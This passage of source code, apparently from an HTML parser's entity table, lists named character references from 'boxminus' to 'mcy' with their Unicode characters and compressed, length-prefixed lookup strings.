			// boxminus;[⊟] boxtimes;[⊠] boxplus;[⊞] bottom;[⊥] bowtie;[⋈] boxbox;[⧉] boxDL;[╗] boxDR;[╔] boxDl;[╖] boxDr;[╓] boxHD;[╦] boxHU;[╩] boxHd;[╤] boxHu;[╧] boxUL;[╝] boxUR;[╚] boxUl;[╜] boxUr;[╙] boxVH;[╬] boxVL;[╣] boxVR;[╠] boxVh;[╫] boxVl;[╢] boxVr;[╟] boxdL;[╕] boxdR;[╒] boxdl;[┐] boxdr;[┌] boxhD;[╥] boxhU;[╨] boxhd;[┬] boxhu;[┴] boxuL;[╛] boxuR;[╘] boxul;[┘] boxur;[└] boxvH;[╪] boxvL;[╡] boxvR;[╞] boxvh;[┼] boxvl;[┤] boxvr;[├] bopf;[𝕓] boxH;[═] boxV;[║] boxh;[─] boxv;[│] bot;[⊥].
			"\x07xminus;\x03⊟\x07xtimes;\x03⊠\x06xplus;\x03⊞\x05ttom;\x03⊥\x05wtie;\x03⋈\x05xbox;\x03⧉\x04xDL;\x03╗\x04xDR;\x03╔\x04xDl;\x03╖\x04xDr;\x03╓\x04xHD;\x03╦\x04xHU;\x03╩\x04xHd;\x03╤\x04xHu;\x03╧\x04xUL;\x03╝\x04xUR;\x03╚\x04xUl;\x03╜\x04xUr;\x03╙\x04xVH;\x03╬\x04xVL;\x03╣\x04xVR;\x03╠\x04xVh;\x03╫\x04xVl;\x03╢\x04xVr;\x03╟\x04xdL;\x03╕\x04xdR;\x03╒\x04xdl;\x03┐\x04xdr;\x03┌\x04xhD;\x03╥\x04xhU;\x03╨\x04xhd;\x03┬\x04xhu;\x03┴\x04xuL;\x03╛\x04xuR;\x03╘\x04xul;\x03┘\x04xur;\x03└\x04xvH;\x03╪\x04xvL;\x03╡\x04xvR;\x03╞\x04xvh;\x03┼\x04xvl;\x03┤\x04xvr;\x03├\x03pf;\x04𝕓\x03xH;\x03═\x03xV;\x03║\x03xh;\x03─\x03xv;\x03│\x02t;\x03⊥",
			// bprime;[‵].
			"\x05rime;\x03‵",
			// brvbar;[¦] breve;[˘] brvbar[¦].
			"\x05vbar;\x02¦\x04eve;\x02˘\x04vbar\x02¦",
			// bsolhsub;[⟈] bsemi;[⁏] bsime;[⋍] bsolb;[⧅] bscr;[𝒷] bsim;[∽] bsol;[\\].
			"\x07olhsub;\x03⟈\x04emi;\x03⁏\x04ime;\x03⋍\x04olb;\x03⧅\x03cr;\x04𝒷\x03im;\x03∽\x03ol;\x01\\",
			// bullet;[•] bumpeq;[≏] bumpE;[⪮] bumpe;[≏] bull;[•] bump;[≎].
			"\x05llet;\x03•\x05mpeq;\x03≏\x04mpE;\x03⪮\x04mpe;\x03≏\x03ll;\x03•\x03mp;\x03≎",
			// capbrcup;[⩉] cacute;[ć] capand;[⩄] capcap;[⩋] capcup;[⩇] capdot;[⩀] caret;[⁁] caron;[ˇ] caps;[∩︀] cap;[∩].
			"\x07pbrcup;\x03⩉\x05cute;\x02ć\x05pand;\x03⩄\x05pcap;\x03⩋\x05pcup;\x03⩇\x05pdot;\x03⩀\x04ret;\x03⁁\x04ron;\x02ˇ\x03ps;\x06∩︀\x02p;\x03∩",
			// ccupssm;[⩐] ccaron;[č] ccedil;[ç] ccaps;[⩍] ccedil[ç] ccirc;[ĉ] ccups;[⩌].
			"\x06upssm;\x03⩐\x05aron;\x02č\x05edil;\x02ç\x04aps;\x03⩍\x04edil\x02ç\x04irc;\x02ĉ\x04ups;\x03⩌",
			// cdot;[ċ].
			"\x03ot;\x02ċ",
			// centerdot;[·] cemptyv;[⦲] cedil;[¸] cedil[¸] cent;[¢] cent[¢].
			"\x08nterdot;\x02·\x06mptyv;\x03⦲\x04dil;\x02¸\x03dil\x02¸\x03nt;\x02¢\x02nt\x02¢",
			// cfr;[𝔠].
			"\x02r;\x04𝔠",
			// checkmark;[✓] check;[✓] chcy;[ч] chi;[χ].
			"\x08eckmark;\x03✓\x04eck;\x03✓\x03cy;\x02ч\x02i;\x02χ",
			// circlearrowright;[↻] circlearrowleft;[↺] circledcirc;[⊚] circleddash;[⊝] circledast;[⊛] circledR;[®] circledS;[Ⓢ] cirfnint;[⨐] cirscir;[⧂] circeq;[≗] cirmid;[⫯] cirE;[⧃] circ;[ˆ] cire;[≗] cir;[○].
			"\x0frclearrowright;\x03↻\x0erclearrowleft;\x03↺\x0arcledcirc;\x03⊚\x0arcleddash;\x03⊝\x09rcledast;\x03⊛\x07rcledR;\x02®\x07rcledS;\x03Ⓢ\x07rfnint;\x03⨐\x06rscir;\x03⧂\x05rceq;\x03≗\x05rmid;\x03⫯\x03rE;\x03⧃\x03rc;\x02ˆ\x03re;\x03≗\x02r;\x03○",
			// clubsuit;[♣] clubs;[♣].
			"\x07ubsuit;\x03♣\x04ubs;\x03♣",
			// complement;[∁] complexes;[ℂ] coloneq;[≔] congdot;[⩭] colone;[≔] commat;[@] compfn;[∘] conint;[∮] coprod;[∐] copysr;[℗] colon;[:] comma;[,] comp;[∁] cong;[≅] copf;[𝕔] copy;[©] copy[©].
			"\x09mplement;\x03∁\x08mplexes;\x03ℂ\x06loneq;\x03≔\x06ngdot;\x03⩭\x05lone;\x03≔\x05mmat;\x01@\x05mpfn;\x03∘\x05nint;\x03∮\x05prod;\x03∐\x05pysr;\x03℗\x04lon;\x01:\x04mma;\x01,\x03mp;\x03∁\x03ng;\x03≅\x03pf;\x04𝕔\x03py;\x02©\x02py\x02©",
			// crarr;[↵] cross;[✗].
			"\x04arr;\x03↵\x04oss;\x03✗",
			// csube;[⫑] csupe;[⫒] cscr;[𝒸] csub;[⫏] csup;[⫐].
			"\x04ube;\x03⫑\x04upe;\x03⫒\x03cr;\x04𝒸\x03ub;\x03⫏\x03up;\x03⫐",
			// ctdot;[⋯].
			"\x04dot;\x03⋯",
			// curvearrowright;[↷] curvearrowleft;[↶] curlyeqprec;[⋞] curlyeqsucc;[⋟] curlywedge;[⋏] cupbrcap;[⩈] curlyvee;[⋎] cudarrl;[⤸] cudarrr;[⤵] cularrp;[⤽] curarrm;[⤼] cularr;[↶] cupcap;[⩆] cupcup;[⩊] cupdot;[⊍] curarr;[↷] curren;[¤] cuepr;[⋞] cuesc;[⋟] cupor;[⩅] curren[¤] cuvee;[⋎] cuwed;[⋏] cups;[∪︀] cup;[∪].
			"\x0ervearrowright;\x03↷\x0drvearrowleft;\x03↶\x0arlyeqprec;\x03⋞\x0arlyeqsucc;\x03⋟\x09rlywedge;\x03⋏\x07pbrcap;\x03⩈\x07rlyvee;\x03⋎\x06darrl;\x03⤸\x06darrr;\x03⤵\x06larrp;\x03⤽\x06rarrm;\x03⤼\x05larr;\x03↶\x05pcap;\x03⩆\x05pcup;\x03⩊\x05pdot;\x03⊍\x05rarr;\x03↷\x05rren;\x02¤\x04epr;\x03⋞\x04esc;\x03⋟\x04por;\x03⩅\x04rren\x02¤\x04vee;\x03⋎\x04wed;\x03⋏\x03ps;\x06∪︀\x02p;\x03∪",
			// cwconint;[∲] cwint;[∱].
			"\x07conint;\x03∲\x04int;\x03∱",
			// cylcty;[⌭].
			"\x05lcty;\x03⌭",
			// dArr;[⇓].
			"\x03rr;\x03⇓",
			// dHar;[⥥].
			"\x03ar;\x03⥥",
			// dagger;[†] daleth;[ℸ] dashv;[⊣] darr;[↓] dash;[‐].
			"\x05gger;\x03†\x05leth;\x03ℸ\x04shv;\x03⊣\x03rr;\x03↓\x03sh;\x03‐",
			// dbkarow;[⤏] dblac;[˝].
			"\x06karow;\x03⤏\x04lac;\x02˝",
			// dcaron;[ď] dcy;[д].
			"\x05aron;\x02ď\x02y;\x02д",
			// ddagger;[‡] ddotseq;[⩷] ddarr;[⇊] dd;[ⅆ].
			"\x06agger;\x03‡\x06otseq;\x03⩷\x04arr;\x03⇊\x01;\x03ⅆ",
			// demptyv;[⦱] delta;[δ] deg;[°] deg[°].
			"\x06mptyv;\x03⦱\x04lta;\x02δ\x02g;\x02°\x01g\x02°",
			// dfisht;[⥿] dfr;[𝔡].
			"\x05isht;\x03⥿\x02r;\x04𝔡",
			// dharl;[⇃] dharr;[⇂].
			"\x04arl;\x03⇃\x04arr;\x03⇂",
			// divideontimes;[⋇] diamondsuit;[♦] diamond;[⋄] digamma;[ϝ] divide;[÷] divonx;[⋇] diams;[♦] disin;[⋲] divide[÷] diam;[⋄] die;[¨] div;[÷].
			"\x0cvideontimes;\x03⋇\x0aamondsuit;\x03♦\x06amond;\x03⋄\x06gamma;\x02ϝ\x05vide;\x02÷\x05vonx;\x03⋇\x04ams;\x03♦\x04sin;\x03⋲\x04vide\x02÷\x03am;\x03⋄\x02e;\x02¨\x02v;\x02÷",
			// djcy;[ђ].
			"\x03cy;\x02ђ",
			// dlcorn;[⌞] dlcrop;[⌍].
			"\x05corn;\x03⌞\x05crop;\x03⌍",
			// downharpoonright;[⇂] downharpoonleft;[⇃] doublebarwedge;[⌆] downdownarrows;[⇊] dotsquare;[⊡] downarrow;[↓] doteqdot;[≑] dotminus;[∸] dotplus;[∔] dollar;[$] doteq;[≐] dopf;[𝕕] dot;[˙].
			"\x0fwnharpoonright;\x03⇂\x0ewnharpoonleft;\x03⇃\x0dublebarwedge;\x03⌆\x0dwndownarrows;\x03⇊\x08tsquare;\x03⊡\x08wnarrow;\x03↓\x07teqdot;\x03≑\x07tminus;\x03∸\x06tplus;\x03∔\x05llar;\x01$\x04teq;\x03≐\x03pf;\x04𝕕\x02t;\x02˙",
			// drbkarow;[⤐] drcorn;[⌟] drcrop;[⌌].
			"\x07bkarow;\x03⤐\x05corn;\x03⌟\x05crop;\x03⌌",
			// dstrok;[đ] dscr;[𝒹] dscy;[ѕ] dsol;[⧶].
			"\x05trok;\x02đ\x03cr;\x04𝒹\x03cy;\x02ѕ\x03ol;\x03⧶",
			// dtdot;[⋱] dtrif;[▾] dtri;[▿].
			"\x04dot;\x03⋱\x04rif;\x03▾\x03ri;\x03▿",
			// duarr;[⇵] duhar;[⥯].
			"\x04arr;\x03⇵\x04har;\x03⥯",
			// dwangle;[⦦].
			"\x06angle;\x03⦦",
			// dzigrarr;[⟿] dzcy;[џ].
			"\x07igrarr;\x03⟿\x03cy;\x02џ",
			// eDDot;[⩷] eDot;[≑].
			"\x04Dot;\x03⩷\x03ot;\x03≑",
			// eacute;[é] easter;[⩮] eacute[é].
			"\x05cute;\x02é\x05ster;\x03⩮\x04cute\x02é",
			// ecaron;[ě] ecolon;[≕] ecirc;[ê] ecir;[≖] ecirc[ê] ecy;[э].
			"\x05aron;\x02ě\x05olon;\x03≕\x04irc;\x02ê\x03ir;\x03≖\x03irc\x02ê\x02y;\x02э",
			// edot;[ė].
			"\x03ot;\x02ė",
			// ee;[ⅇ].
			"\x01;\x03ⅇ",
			// efDot;[≒] efr;[𝔢].
			"\x04Dot;\x03≒\x02r;\x04𝔢",
			// egrave;[è] egsdot;[⪘] egrave[è] egs;[⪖] eg;[⪚].
			"\x05rave;\x02è\x05sdot;\x03⪘\x04rave\x02è\x02s;\x03⪖\x01;\x03⪚",
			// elinters;[⏧] elsdot;[⪗] ell;[ℓ] els;[⪕] el;[⪙].
			"\x07inters;\x03⏧\x05sdot;\x03⪗\x02l;\x03ℓ\x02s;\x03⪕\x01;\x03⪙",
			// emptyset;[∅] emptyv;[∅] emsp13;[ ] emsp14;[ ] emacr;[ē] empty;[∅] emsp;[ ].
			"\x07ptyset;\x03∅\x05ptyv;\x03∅\x05sp13;\x03 \x05sp14;\x03 \x04acr;\x02ē\x04pty;\x03∅\x03sp;\x03 ",
			// ensp;[ ] eng;[ŋ].
			"\x03sp;\x03 \x02g;\x02ŋ",
			// eogon;[ę] eopf;[𝕖].
			"\x04gon;\x02ę\x03pf;\x04𝕖",
			// epsilon;[ε] eparsl;[⧣] eplus;[⩱] epsiv;[ϵ] epar;[⋕] epsi;[ε].
			"\x06silon;\x02ε\x05arsl;\x03⧣\x04lus;\x03⩱\x04siv;\x02ϵ\x03ar;\x03⋕\x03si;\x02ε",
			// eqslantless;[⪕] eqslantgtr;[⪖] eqvparsl;[⧥] eqcolon;[≕] equivDD;[⩸] eqcirc;[≖] equals;[=] equest;[≟] eqsim;[≂] equiv;[≡].
			"\x0aslantless;\x03⪕\x09slantgtr;\x03⪖\x07vparsl;\x03⧥\x06colon;\x03≕\x06uivDD;\x03⩸\x05circ;\x03≖\x05uals;\x01=\x05uest;\x03≟\x04sim;\x03≂\x04uiv;\x03≡",
			// erDot;[≓] erarr;[⥱].
			"\x04Dot;\x03≓\x04arr;\x03⥱",
			// esdot;[≐] escr;[ℯ] esim;[≂].
			"\x04dot;\x03≐\x03cr;\x03ℯ\x03im;\x03≂",
			// eta;[η] eth;[ð] eth[ð].
			"\x02a;\x02η\x02h;\x02ð\x01h\x02ð",
			// euml;[ë] euro;[€] euml[ë].
			"\x03ml;\x02ë\x03ro;\x03€\x02ml\x02ë",
			// exponentiale;[ⅇ] expectation;[ℰ] exist;[∃] excl;[!].
			"\x0bponentiale;\x03ⅇ\x0apectation;\x03ℰ\x04ist;\x03∃\x03cl;\x01!",
			// fallingdotseq;[≒].
			"\x0cllingdotseq;\x03≒",
			// fcy;[ф].
			"\x02y;\x02ф",
			// female;[♀].
			"\x05male;\x03♀",
			// ffilig;[ffi] ffllig;[ffl] fflig;[ff] ffr;[𝔣].
			"\x05ilig;\x03ffi\x05llig;\x03ffl\x04lig;\x03ff\x02r;\x04𝔣",
			// filig;[fi].
			"\x04lig;\x03fi",
			// fjlig;[fj].
			"\x04lig;\x02fj",
			// fllig;[fl] fltns;[▱] flat;[♭].
			"\x04lig;\x03fl\x04tns;\x03▱\x03at;\x03♭",
			// fnof;[ƒ].
			"\x03of;\x02ƒ",
			// forall;[∀] forkv;[⫙] fopf;[𝕗] fork;[⋔].
			"\x05rall;\x03∀\x04rkv;\x03⫙\x03pf;\x04𝕗\x03rk;\x03⋔",
			// fpartint;[⨍].
			"\x07artint;\x03⨍",
			// frac12;[½] frac13;[⅓] frac14;[¼] frac15;[⅕] frac16;[⅙] frac18;[⅛] frac23;[⅔] frac25;[⅖] frac34;[¾] frac35;[⅗] frac38;[⅜] frac45;[⅘] frac56;[⅚] frac58;[⅝] frac78;[⅞] frac12[½] frac14[¼] frac34[¾] frasl;[⁄] frown;[⌢].
			"\x05ac12;\x02½\x05ac13;\x03⅓\x05ac14;\x02¼\x05ac15;\x03⅕\x05ac16;\x03⅙\x05ac18;\x03⅛\x05ac23;\x03⅔\x05ac25;\x03⅖\x05ac34;\x02¾\x05ac35;\x03⅗\x05ac38;\x03⅜\x05ac45;\x03⅘\x05ac56;\x03⅚\x05ac58;\x03⅝\x05ac78;\x03⅞\x04ac12\x02½\x04ac14\x02¼\x04ac34\x02¾\x04asl;\x03⁄\x04own;\x03⌢",
			// fscr;[𝒻].
			"\x03cr;\x04𝒻",
			// gEl;[⪌] gE;[≧].
			"\x02l;\x03⪌\x01;\x03≧",
			// gacute;[ǵ] gammad;[ϝ] gamma;[γ] gap;[⪆].
			"\x05cute;\x02ǵ\x05mmad;\x02ϝ\x04mma;\x02γ\x02p;\x03⪆",
			// gbreve;[ğ].
			"\x05reve;\x02ğ",
			// gcirc;[ĝ] gcy;[г].
			"\x04irc;\x02ĝ\x02y;\x02г",
			// gdot;[ġ].
			"\x03ot;\x02ġ",
			// geqslant;[⩾] gesdotol;[⪄] gesdoto;[⪂] gesdot;[⪀] gesles;[⪔] gescc;[⪩] geqq;[≧] gesl;[⋛︀] gel;[⋛] geq;[≥] ges;[⩾] ge;[≥].
			"\x07qslant;\x03⩾\x07sdotol;\x03⪄\x06sdoto;\x03⪂\x05sdot;\x03⪀\x05sles;\x03⪔\x04scc;\x03⪩\x03qq;\x03≧\x03sl;\x06⋛︀\x02l;\x03⋛\x02q;\x03≥\x02s;\x03⩾\x01;\x03≥",
			// gfr;[𝔤].
			"\x02r;\x04𝔤",
			// ggg;[⋙] gg;[≫].
			"\x02g;\x03⋙\x01;\x03≫",
			// gimel;[ℷ].
			"\x04mel;\x03ℷ",
			// gjcy;[ѓ].
			"\x03cy;\x02ѓ",
			// glE;[⪒] gla;[⪥] glj;[⪤] gl;[≷].
			"\x02E;\x03⪒\x02a;\x03⪥\x02j;\x03⪤\x01;\x03≷",
			// gnapprox;[⪊] gneqq;[≩] gnsim;[⋧] gnap;[⪊] gneq;[⪈] gnE;[≩] gne;[⪈].
			"\x07approx;\x03⪊\x04eqq;\x03≩\x04sim;\x03⋧\x03ap;\x03⪊\x03eq;\x03⪈\x02E;\x03≩\x02e;\x03⪈",
			// gopf;[𝕘].
			"\x03pf;\x04𝕘",
			// grave;[`].
			"\x04ave;\x01`",
			// gsime;[⪎] gsiml;[⪐] gscr;[ℊ] gsim;[≳].
			"\x04ime;\x03⪎\x04iml;\x03⪐\x03cr;\x03ℊ\x03im;\x03≳",
			// gtreqqless;[⪌] gtrapprox;[⪆] gtreqless;[⋛] gtquest;[⩼] gtrless;[≷] gtlPar;[⦕] gtrarr;[⥸] gtrdot;[⋗] gtrsim;[≳] gtcir;[⩺] gtdot;[⋗] gtcc;[⪧] gt;[>].
			"\x09reqqless;\x03⪌\x08rapprox;\x03⪆\x08reqless;\x03⋛\x06quest;\x03⩼\x06rless;\x03≷\x05lPar;\x03⦕\x05rarr;\x03⥸\x05rdot;\x03⋗\x05rsim;\x03≳\x04cir;\x03⩺\x04dot;\x03⋗\x03cc;\x03⪧\x01;\x01>",
			// gvertneqq;[≩︀] gvnE;[≩︀].
			"\x08ertneqq;\x06≩︀\x03nE;\x06≩︀",
			// hArr;[⇔].
			"\x03rr;\x03⇔",
			// harrcir;[⥈] hairsp;[ ] hamilt;[ℋ] hardcy;[ъ] harrw;[↭] half;[½] harr;[↔].
			"\x06rrcir;\x03⥈\x05irsp;\x03 \x05milt;\x03ℋ\x05rdcy;\x02ъ\x04rrw;\x03↭\x03lf;\x02½\x03rr;\x03↔",
			// hbar;[ℏ].
			"\x03ar;\x03ℏ",
			// hcirc;[ĥ].
			"\x04irc;\x02ĥ",
			// heartsuit;[♥] hearts;[♥] hellip;[…] hercon;[⊹].
			"\x08artsuit;\x03♥\x05arts;\x03♥\x05llip;\x03…\x05rcon;\x03⊹",
			// hfr;[𝔥].
			"\x02r;\x04𝔥",
			// hksearow;[⤥] hkswarow;[⤦].
			"\x07searow;\x03⤥\x07swarow;\x03⤦",
			// hookrightarrow;[↪] hookleftarrow;[↩] homtht;[∻] horbar;[―] hoarr;[⇿] hopf;[𝕙].
			"\x0dokrightarrow;\x03↪\x0cokleftarrow;\x03↩\x05mtht;\x03∻\x05rbar;\x03―\x04arr;\x03⇿\x03pf;\x04𝕙",
			// hslash;[ℏ] hstrok;[ħ] hscr;[𝒽].
			"\x05lash;\x03ℏ\x05trok;\x02ħ\x03cr;\x04𝒽",
			// hybull;[⁃] hyphen;[‐].
			"\x05bull;\x03⁃\x05phen;\x03‐",
			// iacute;[í] iacute[í].
			"\x05cute;\x02í\x04cute\x02í",
			// icirc;[î] icirc[î] icy;[и] ic;[⁣].
			"\x04irc;\x02î\x03irc\x02î\x02y;\x02и\x01;\x03⁣",
			// iexcl;[¡] iecy;[е] iexcl[¡].
			"\x04xcl;\x02¡\x03cy;\x02е\x03xcl\x02¡",
			// iff;[⇔] ifr;[𝔦].
			"\x02f;\x03⇔\x02r;\x04𝔦",
			// igrave;[ì] igrave[ì].
			"\x05rave;\x02ì\x04rave\x02ì",
			// iiiint;[⨌] iinfin;[⧜] iiint;[∭] iiota;[℩] ii;[ⅈ].
			"\x05iint;\x03⨌\x05nfin;\x03⧜\x04int;\x03∭\x04ota;\x03℩\x01;\x03ⅈ",
			// ijlig;[ij].
			"\x04lig;\x02ij",
			// imagline;[ℐ] imagpart;[ℑ] imacr;[ī] image;[ℑ] imath;[ı] imped;[Ƶ] imof;[⊷].
			"\x07agline;\x03ℐ\x07agpart;\x03ℑ\x04acr;\x02ī\x04age;\x03ℑ\x04ath;\x02ı\x04ped;\x02Ƶ\x03of;\x03⊷",
			// infintie;[⧝] integers;[ℤ] intercal;[⊺] intlarhk;[⨗] intprod;[⨼] incare;[℅] inodot;[ı] intcal;[⊺] infin;[∞] int;[∫] in;[∈].
			"\x07fintie;\x03⧝\x07tegers;\x03ℤ\x07tercal;\x03⊺\x07tlarhk;\x03⨗\x06tprod;\x03⨼\x05care;\x03℅\x05odot;\x02ı\x05tcal;\x03⊺\x04fin;\x03∞\x02t;\x03∫\x01;\x03∈",
			// iogon;[į] iocy;[ё] iopf;[𝕚] iota;[ι].
			"\x04gon;\x02į\x03cy;\x02ё\x03pf;\x04𝕚\x03ta;\x02ι",
			// iprod;[⨼].
			"\x04rod;\x03⨼",
			// iquest;[¿] iquest[¿].
			"\x05uest;\x02¿\x04uest\x02¿",
			// isindot;[⋵] isinsv;[⋳] isinE;[⋹] isins;[⋴] isinv;[∈] iscr;[𝒾] isin;[∈].
			"\x06indot;\x03⋵\x05insv;\x03⋳\x04inE;\x03⋹\x04ins;\x03⋴\x04inv;\x03∈\x03cr;\x04𝒾\x03in;\x03∈",
			// itilde;[ĩ] it;[⁢].
			"\x05ilde;\x02ĩ\x01;\x03⁢",
			// iukcy;[і] iuml;[ï] iuml[ï].
			"\x04kcy;\x02і\x03ml;\x02ï\x02ml\x02ï",
			// jcirc;[ĵ] jcy;[й].
			"\x04irc;\x02ĵ\x02y;\x02й",
			// jfr;[𝔧].
			"\x02r;\x04𝔧",
			// jmath;[ȷ].
			"\x04ath;\x02ȷ",
			// jopf;[𝕛].
			"\x03pf;\x04𝕛",
			// jsercy;[ј] jscr;[𝒿].
			"\x05ercy;\x02ј\x03cr;\x04𝒿",
			// jukcy;[є].
			"\x04kcy;\x02є",
			// kappav;[ϰ] kappa;[κ].
			"\x05ppav;\x02ϰ\x04ppa;\x02κ",
			// kcedil;[ķ] kcy;[к].
			"\x05edil;\x02ķ\x02y;\x02к",
			// kfr;[𝔨].
			"\x02r;\x04𝔨",
			// kgreen;[ĸ].
			"\x05reen;\x02ĸ",
			// khcy;[х].
			"\x03cy;\x02х",
			// kjcy;[ќ].
			"\x03cy;\x02ќ",
			// kopf;[𝕜].
			"\x03pf;\x04𝕜",
			// kscr;[𝓀].
			"\x03cr;\x04𝓀",
			// lAtail;[⤛] lAarr;[⇚] lArr;[⇐].
			"\x05tail;\x03⤛\x04arr;\x03⇚\x03rr;\x03⇐",
			// lBarr;[⤎].
			"\x04arr;\x03⤎",
			// lEg;[⪋] lE;[≦].
			"\x02g;\x03⪋\x01;\x03≦",
			// lHar;[⥢].
			"\x03ar;\x03⥢",
			// laemptyv;[⦴] larrbfs;[⤟] larrsim;[⥳] lacute;[ĺ] lagran;[ℒ] lambda;[λ] langle;[⟨] larrfs;[⤝] larrhk;[↩] larrlp;[↫] larrpl;[⤹] larrtl;[↢] latail;[⤙] langd;[⦑] laquo;[«] larrb;[⇤] lates;[⪭︀] lang;[⟨] laquo[«] larr;[←] late;[⪭] lap;[⪅] lat;[⪫].
			"\x07emptyv;\x03⦴\x06rrbfs;\x03⤟\x06rrsim;\x03⥳\x05cute;\x02ĺ\x05gran;\x03ℒ\x05mbda;\x02λ\x05ngle;\x03⟨\x05rrfs;\x03⤝\x05rrhk;\x03↩\x05rrlp;\x03↫\x05rrpl;\x03⤹\x05rrtl;\x03↢\x05tail;\x03⤙\x04ngd;\x03⦑\x04quo;\x02«\x04rrb;\x03⇤\x04tes;\x06⪭︀\x03ng;\x03⟨\x03quo\x02«\x03rr;\x03←\x03te;\x03⪭\x02p;\x03⪅\x02t;\x03⪫",
			// lbrksld;[⦏] lbrkslu;[⦍] lbrace;[{] lbrack;[[] lbarr;[⤌] lbbrk;[❲] lbrke;[⦋].
			"\x06rksld;\x03⦏\x06rkslu;\x03⦍\x05race;\x01{\x05rack;\x01[\x04arr;\x03⤌\x04brk;\x03❲\x04rke;\x03⦋",
			// lcaron;[ľ] lcedil;[ļ] lceil;[⌈] lcub;[{] lcy;[л].
			"\x05aron;\x02ľ\x05edil;\x02ļ\x04eil;\x03⌈\x03ub;\x01{\x02y;\x02л",
			// ldrushar;[⥋] ldrdhar;[⥧] ldquor;[„] ldquo;[“] ldca;[⤶] ldsh;[↲].
			"\x07rushar;\x03⥋\x06rdhar;\x03⥧\x05quor;\x03„\x04quo;\x03“\x03ca;\x03⤶\x03sh;\x03↲",
			// leftrightsquigarrow;[↭] leftrightharpoons;[⇋] leftharpoondown;[↽] leftrightarrows;[⇆] leftleftarrows;[⇇] leftrightarrow;[↔] leftthreetimes;[⋋] leftarrowtail;[↢] leftharpoonup;[↼] lessapprox;[⪅] lesseqqgtr;[⪋] leftarrow;[←] lesseqgtr;[⋚] leqslant;[⩽] lesdotor;[⪃] lesdoto;[⪁] lessdot;[⋖] lessgtr;[≶] lesssim;[≲] lesdot;[⩿] lesges;[⪓] lescc;[⪨] leqq;[≦] lesg;[⋚︀] leg;[⋚] leq;[≤] les;[⩽] le;[≤].
			"\x12ftrightsquigarrow;\x03↭\x10ftrightharpoons;\x03⇋\x0eftharpoondown;\x03↽\x0eftrightarrows;\x03⇆\x0dftleftarrows;\x03⇇\x0dftrightarrow;\x03↔\x0dftthreetimes;\x03⋋\x0cftarrowtail;\x03↢\x0cftharpoonup;\x03↼\x09ssapprox;\x03⪅\x09sseqqgtr;\x03⪋\x08ftarrow;\x03←\x08sseqgtr;\x03⋚\x07qslant;\x03⩽\x07sdotor;\x03⪃\x06sdoto;\x03⪁\x06ssdot;\x03⋖\x06ssgtr;\x03≶\x06sssim;\x03≲\x05sdot;\x03⩿\x05sges;\x03⪓\x04scc;\x03⪨\x03qq;\x03≦\x03sg;\x06⋚︀\x02g;\x03⋚\x02q;\x03≤\x02s;\x03⩽\x01;\x03≤",
			// lfisht;[⥼] lfloor;[⌊] lfr;[𝔩].
			"\x05isht;\x03⥼\x05loor;\x03⌊\x02r;\x04𝔩",
			// lgE;[⪑] lg;[≶].
			"\x02E;\x03⪑\x01;\x03≶",
			// lharul;[⥪] lhard;[↽] lharu;[↼] lhblk;[▄].
			"\x05arul;\x03⥪\x04ard;\x03↽\x04aru;\x03↼\x04blk;\x03▄",
			// ljcy;[љ].
			"\x03cy;\x02љ",
			// llcorner;[⌞] llhard;[⥫] llarr;[⇇] lltri;[◺] ll;[≪].
			"\x07corner;\x03⌞\x05hard;\x03⥫\x04arr;\x03⇇\x04tri;\x03◺\x01;\x03≪",
			// lmoustache;[⎰] lmidot;[ŀ] lmoust;[⎰].
			"\x09oustache;\x03⎰\x05idot;\x02ŀ\x05oust;\x03⎰",
			// lnapprox;[⪉] lneqq;[≨] lnsim;[⋦] lnap;[⪉] lneq;[⪇] lnE;[≨] lne;[⪇].
			"\x07approx;\x03⪉\x04eqq;\x03≨\x04sim;\x03⋦\x03ap;\x03⪉\x03eq;\x03⪇\x02E;\x03≨\x02e;\x03⪇",
			// longleftrightarrow;[⟷] longrightarrow;[⟶] looparrowright;[↬] longleftarrow;[⟵] looparrowleft;[↫] longmapsto;[⟼] lotimes;[⨴] lozenge;[◊] loplus;[⨭] lowast;[∗] lowbar;[_] loang;[⟬] loarr;[⇽] lobrk;[⟦] lopar;[⦅] lopf;[𝕝] lozf;[⧫] loz;[◊].
			"\x11ngleftrightarrow;\x03⟷\x0dngrightarrow;\x03⟶\x0doparrowright;\x03↬\x0cngleftarrow;\x03⟵\x0coparrowleft;\x03↫\x09ngmapsto;\x03⟼\x06times;\x03⨴\x06zenge;\x03◊\x05plus;\x03⨭\x05wast;\x03∗\x05wbar;\x01_\x04ang;\x03⟬\x04arr;\x03⇽\x04brk;\x03⟦\x04par;\x03⦅\x03pf;\x04𝕝\x03zf;\x03⧫\x02z;\x03◊",
			// lparlt;[⦓] lpar;[(].
			"\x05arlt;\x03⦓\x03ar;\x01(",
			// lrcorner;[⌟] lrhard;[⥭] lrarr;[⇆] lrhar;[⇋] lrtri;[⊿] lrm;[‎].
			"\x07corner;\x03⌟\x05hard;\x03⥭\x04arr;\x03⇆\x04har;\x03⇋\x04tri;\x03⊿\x02m;\x03‎",
			// lsaquo;[‹] lsquor;[‚] lstrok;[ł] lsime;[⪍] lsimg;[⪏] lsquo;[‘] lscr;[𝓁] lsim;[≲] lsqb;[[] lsh;[↰].
			"\x05aquo;\x03‹\x05quor;\x03‚\x05trok;\x02ł\x04ime;\x03⪍\x04img;\x03⪏\x04quo;\x03‘\x03cr;\x04𝓁\x03im;\x03≲\x03qb;\x01[\x02h;\x03↰",
			// ltquest;[⩻] lthree;[⋋] ltimes;[⋉] ltlarr;[⥶] ltrPar;[⦖] ltcir;[⩹] ltdot;[⋖] ltrie;[⊴] ltrif;[◂] ltcc;[⪦] ltri;[◃] lt;[<].
			"\x06quest;\x03⩻\x05hree;\x03⋋\x05imes;\x03⋉\x05larr;\x03⥶\x05rPar;\x03⦖\x04cir;\x03⩹\x04dot;\x03⋖\x04rie;\x03⊴\x04rif;\x03◂\x03cc;\x03⪦\x03ri;\x03◃\x01;\x01<",
			// lurdshar;[⥊] luruhar;[⥦].
			"\x07rdshar;\x03⥊\x06ruhar;\x03⥦",
			// lvertneqq;[≨︀] lvnE;[≨︀].
			"\x08ertneqq;\x06≨︀\x03nE;\x06≨︀",
			// mDDot;[∺].
			"\x04Dot;\x03∺",
			// mapstodown;[↧] mapstoleft;[↤] mapstoup;[↥] maltese;[✠] mapsto;[↦] marker;[▮] macr;[¯] male;[♂] malt;[✠] macr[¯] map;[↦].
			"\x09pstodown;\x03↧\x09pstoleft;\x03↤\x07pstoup;\x03↥\x06ltese;\x03✠\x05psto;\x03↦\x05rker;\x03▮\x03cr;\x02¯\x03le;\x03♂\x03lt;\x03✠\x02cr\x02¯\x02p;\x03↦",
			// mcomma;[⨩] mcy;[м].
